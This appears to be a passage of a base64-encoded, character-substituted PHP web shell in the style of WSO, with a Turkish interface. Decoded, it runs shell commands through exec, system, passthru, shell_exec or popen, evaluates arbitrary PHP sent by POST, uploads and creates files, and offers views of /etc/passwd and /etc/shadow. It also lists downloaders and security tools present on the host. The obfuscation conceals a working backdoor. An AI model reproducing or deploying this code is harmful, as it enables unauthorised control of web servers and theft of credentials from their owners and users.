cj5LM2xsMW40YzQ6PGJyPlBocDo8YnI+SDFyZDRzazo8YnI+QjNsM25nM20zeiBZNXI6JyAuICgkR0xPQkFMU1snMnMnXSA9PSAndzRuJz8nPGJyPkRyNHY1czonOicnKSAuICc8L3NwMW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxuMmJyPicgLiBzM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApIC4gJyA8MSBocjVmPSInIC4gJDV4cGw0bmsgLiAnIiB0MXJnNXQ9X2JsMW5rPls1eHBsMjR0LWRiLmMybV08LzE+PC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+R3IzYjM6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPkFDSUs8L2YybnQ+JzonPGYybnQgYzJsMnI9d2g0dDU+PGI+S0FQQUxJPC9iPjwvZjJudD4nKQ0KICAgICAgIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ1BocFwnLG4zbGwsXCdcJyxcJzRuZjJcJykiPlsgcGhwNG5mMiBdPC8xPiA8c3Axbj5UMXI0aDo8L3NwMW4+ICcgLiBkMXQ1KCdZLW0tZCBIOjQ6cycpIC4gJzxicj4nIC4gd3MyVjQ1d1M0ejUoJHQydDFsU3AxYzUpIC4gJyA8c3Axbj5CMnMgMWwxbjo8L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBHNHI0cyBdPC8xPjxicj4nIC4gJGRyNHY1cyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48czVsNWN0IDJuY2gxbmc1PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnYxbDM1KSI+PDJwdGdyMjNwIGwxYjVsPSJQMWc1IGNoMXJzNXQiPicgLiAkMnB0X2NoMXJzNXRzIC4gJzwvMnB0Z3IyM3A+PC9zNWw1Y3Q+PGJyPjxzcDFuPlM1cnY1ciBJUDo8L3NwMW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcDFuPlNFTklOIElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7DQp9DQoNCmYzbmN0NDJuIHdzMkYyMnQ1cigpIHsNCiAgICAkNHNfd3I0dDFibDUgPSA0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pPyIgPGYybnQgYzJsMnI9JyNhaWZmMDAnPihZMXo0bDFiNGw0cik8L2YybnQ+IjoiIDxmMm50IGMybDJyPXI1ZD4oWTF6NGwxYjRsNHIgZDUmIzYwdXU7JiM2NjY5OzRsKTwvZjJudD4iOw0KICAgIDVjaDIgIg0KPC9kNHY+DQo8dDFibDUgY2wxc3M9NG5mMiA0ZD10MjJsc1RibCBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJSAgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNvb287YjJyZDVyLWIydHQybTphcHggczJsNGQgI29vbzsnPg0KICAgIDx0cj4NCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkQ0ejRuIGQ1ZzRzdDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+RDJzeTEgMmszPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgIDwvdHI+PHRyPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPkQ0ejRuIDJsM3N0M3I6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1kPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPkQyc3kxIDJsM3N0M3I6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgIDwvdHI+PHRyPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdDMm5zMmw1JyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPksybTN0IEMxbDRzdDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPHRkPjxmMnJtIG01dGgyZD0ncDJzdCcgRU5DVFlQRT0nbTNsdDRwMXJ0L2Yycm0tZDF0MSc+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTUFuJz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIiAuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4gIic+DQogICAgICAgIDxzcDFuPkRPU1lBIFVQTE9BRCBFVDwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4NCiAgICA8L3RyPjwvdDFibDU+PC9kNHY+PC9iMmR5PjwvaHRtbD4iOw0KfQ0KDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCg0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7DQogICAgJDIzdCA9ICcnOw0KICAgIDRmIChmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KICAgICAgICBANXg1YygkNG4sJDIzdCk7DQogICAgICAgICQyM3QgPSBAajI0bigiXG4iLCQyM3QpOw0KICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3Axc3N0aHIzJykpIHsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgQHAxc3N0aHIzKCQ0bik7DQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAc3lzdDVtKCQ0bik7DQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzaDVsbF81eDVjJykpIHsNCiAgICAgICAgJDIzdCA9IHNoNWxsXzV4NWMoJDRuKTsNCiAgICB9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7DQogICAgICAgICQyM3QgPSAiIjsNCiAgICAgICAgd2g0bDUoIUBmNTJmKCRmKSkNCiAgICAgICAgICAgICQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7DQogICAgICAgIHBjbDJzNSgkZik7DQogICAgfQ0KICAgIHI1dDNybiAkMjN0Ow0KfQ0KZjNuY3Q0Mm4gd3MyVjQ1d1M0ejUoJHMpIHsNCiAgICA0ZigkcyA+PSA2MDdvN3U2OGF1KQ0KICAgICAgICByNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwN283dTY4YXUgKS4gJyBHQic7DQogICAgNWxzNTRmKCRzID49IDYwdThpN2UpDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7DQogICAgNWxzNTRmKCRzID49IDYwYXUpDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjBhdSApIC4gJyBLQic7DQogICAgNWxzNQ0KICAgICAgICByNXQzcm4gJHMgLiAnIEInOw0KfQ0KDQpmM25jdDQybiB3czJQNXJtcygkcCkgew0KICAgIDRmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkNCA9ICdzJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KICAgIDVsczU0ZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJDQgPSAnLSc7DQogICAgNWxzNTRmICgoJHAgJiAweGUwMDApID09IDB4ZTAwMCkkNCA9ICdiJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KICAgIDVsczU0ZiAoKCRwICYgMHhhMDAwKSA9PSAweGEwMDApJDQgPSAnYyc7DQogICAgNWxzNTRmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkNCA9ICdwJzsNCiAgICA1bHM1ICQ0ID0gJzMnOw0KICAgICQ0IC49ICgoJHAgJiAweDA2MDApID8gJ3InIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMGEwKSA/ICdyJyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDA2MCkgPyAndycgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDAwdSkgPyAncicgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMGEpID8gJ3cnIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KICAgIHI1dDNybiAkNDsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXNDMmwycigkZikgew0KICAgIDRmICghQDRzX3I1MWQxYmw1KCRmKSkNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQogICAgNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KICAgIDVsczUNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jYWlmZjAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCjRmKCFmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KICAgIGYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgew0KICAgICAgICAkZGggID0gMnA1bmQ0cigkZDRyKTsNCiAgICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAgICAgICAgICRmNGw1c1tdID0gJGY0bDVuMW01Ow0KICAgICAgICByNXQzcm4gJGY0bDVzOw0KICAgIH0NCn0NCg0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsNCiAgICAkcDF0aCA9IHdzMkV4KCd3aDRjaCAnIC4gJHApOw0KICAgIDRmKCE1bXB0eSgkcDF0aCkpDQogICAgICAgIHI1dDNybiAkcDF0aDsNCiAgICByNXQzcm4gZjFsczU7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PnM1cnY1ciBHM3Y1bmw0ayBiNGxnNHM0IC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHI+RzIyZ2w1IFRSIDpEIDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgIGYzbmN0NDJuIHdzMlM1Y1AxcjFtKCRuLCAkdikgew0KICAgICAgICAkdiA9IHRyNG0oJHYpOw0KICAgICAgICA0Zigkdikgew0KICAgICAgICAgICAgNWNoMiAnPHNwMW4+JyAuICRuIC4gJzogPC9zcDFuPic7DQogICAgICAgICAgICA0ZihzdHJwMnMoJHYsICJcbiIpID09PSBmMWxzNSkNCiAgICAgICAgICAgICAgICA1Y2gyICR2IC4gJzxicj4nOw0KICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2PicgLiAkdiAuICc8L3ByNT4nOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIHdzMlM1Y1AxcjFtKCdTNXJ2NXIgczJmdHcxcjUnLCBAZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkNCiAgICAgICAgd3MyUzVjUDFyMW0oJ0wyMWQ1ZCBBcDFjaDUgbTJkM2w1cycsIDRtcGwyZDUoJywgJywgMXAxY2g1X2c1dF9tMmQzbDVzKCkpKTsNCiAgICB3czJTNWNQMXIxbSgnRDRzMWJsNWQgUEhQIEYzbmN0NDJucycsICRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddPyRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddOiduMm41Jyk7DQogICAgd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOw0KICAgIHdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw0KICAgIHdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNG5jbDNkNSBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJykpOw0KICAgIHdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsNCiAgICAkdDVtcD0xcnIxeSgpOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgICAgICR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICAgICAkdDVtcFtdID0gIk1TU1FMIjsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAgICAgJHQ1bXBbXSA9ICJQMnN0Z3I1U1FMIjsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJzJjNF9jMm5uNWN0JykpDQogICAgICAgICR0NW1wW10gPSAiT3IxY2w1IjsNCiAgICB3czJTNWNQMXIxbSgnUzNwcDJydDVkIGQxdDFiMXM1cycsIDRtcGwyZDUoJywgJywgJHQ1bXApKTsNCiAgICA1Y2gyICc8YnI+JzsNCiAgICANCiAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4Jykgew0KICAgICAgICB3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCiAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICB3czJTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCiAgICAgICAgd3MyUzVjUDFyMW0oJ0Q0c3RyIG4xbTUnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvNHNzMzUubjV0JykpOw0KICAgICAgICA0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7DQogICAgICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgICAgICRkMW5nNXIgPSAxcnIxeSgnazF2JywnbjJkb2EnLCdiZGMycjVkJywnM3ZzYzFuJywnczF2JywnZHJ3NWJkJywnY2wxbWQnLCdya2gzbnQ1cicsJ2Noa3IyMnRrNHQnLCc0cHQxYmw1cycsJzRwZncnLCd0cjRwdzRyNScsJ3NoNDVsZGNjJywncDJydHM1bnRyeScsJ3NuMnJ0JywnMnNzNWMnLCdsNGRzMWRtJywndGNwbDJkZycsJ3N4NGQnLCdsMmdjaDVjaycsJ2wyZ3cxdGNoJywnc3lzbTFzaycsJ3ptYnNjMXAnLCdzMXdtNGxsJywndzJybXNjMW4nLCduNG5qMScpOw0KICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7DQogICAgICAgICAgICA1Y2gyICc8YnI+JzsNCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICBmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgZjJyNTFjaCAoJGQxbmc1ciAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdEMW5nNXInLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICBmMnI1MWNoICgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW0pIA0KICAgICAgICAgICAgICAgIDRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICA1Y2gyICc8YnIvPic7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnSEREIHNwMWM1Jywgd3MyRXgoJ2RmIC1oJykpOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOw0KICAgICAgICB9DQogICAgfSA1bHM1IHsNCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIFY1cnM0Mm4nLHdzMkV4KCd2NXInKSk7DQogICAgICAgIHdzMlM1Y1AxcjFtKCdBY2MyM250IFM1dHQ0bmdzJyx3czJFeCgnbjV0IDFjYzIzbnRzJykpOw0KICAgICAgICB3czJTNWNQMXIxbSgnVXM1ciBBY2MyM250cycsd3MyRXgoJ241dCAzczVyJykpOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5QaHAoKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSB0cjM1Ow0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICA1djFsKCRfUE9TVFsncDYnXSk7DQogICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQogICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgIDV4NHQ7IA0KICAgIH0NCiAgICB3czJINTFkNXIoKTsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3BhJ10gPT0gJzRuZjInKSkgew0KICAgICAgICA1Y2gyICc8aDY+UEhQIGI0bGc0czQtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRyPkcyMmdsNSBUUiA6RDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3R5bDU+LnAge2MybDJyOiMwMDA7fTwvc3R5bDU+JzsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgcGhwNG5mMigpOw0KICAgICAgICAkdG1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywnJywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgnIXRkLCB0aCB7KC4qKX0hbXM0VScsJy41LCAudiwgLmgsIC5oIHRoIHskNn0nLCR0bXApOw0KICAgICAgICA1Y2gyIHN0cl9yNXBsMWM1KCc8aDYnLCc8aGEnLCAkdG1wKSAuJzwvZDR2Pjxicj4nOw0KICAgIH0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8aDY+IFBIUC1jMmQ1IFV5ZzNsMSAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRyPkcyMmdsNSBUUiA6RDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PXBmIG01dGgyZD1wMnN0IDJuczNibTR0PSI0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1KTt9NWxzNXtnKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUsXCdcJyk7fXI1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PWMyZDUgY2wxc3M9YjRnMXI1MSA0ZD1QaHBDMmQ1PicuKCE1bXB0eSgkX1BPU1RbJ3A2J10pP2h0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKTonJykuJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUV2MWwgc3R5bDU9Im0xcmc0bi10MnA6aXB4Ij4nOw0KICAgIDVjaDIgJyA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLigkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWDwvZjJybT48cHI1IDRkPVBocE8zdHAzdCBzdHlsNT0iJy4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLidtMXJnNG4tdDJwOmlweDsiIGNsMXNzPW1sNj4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsNCiAgICB9DQogICAgNWNoMiAnPC9wcjU+PC9kNHY+JzsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNNMW4oKSB7DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkQyc3kxIEFsMW40IC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHI+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYn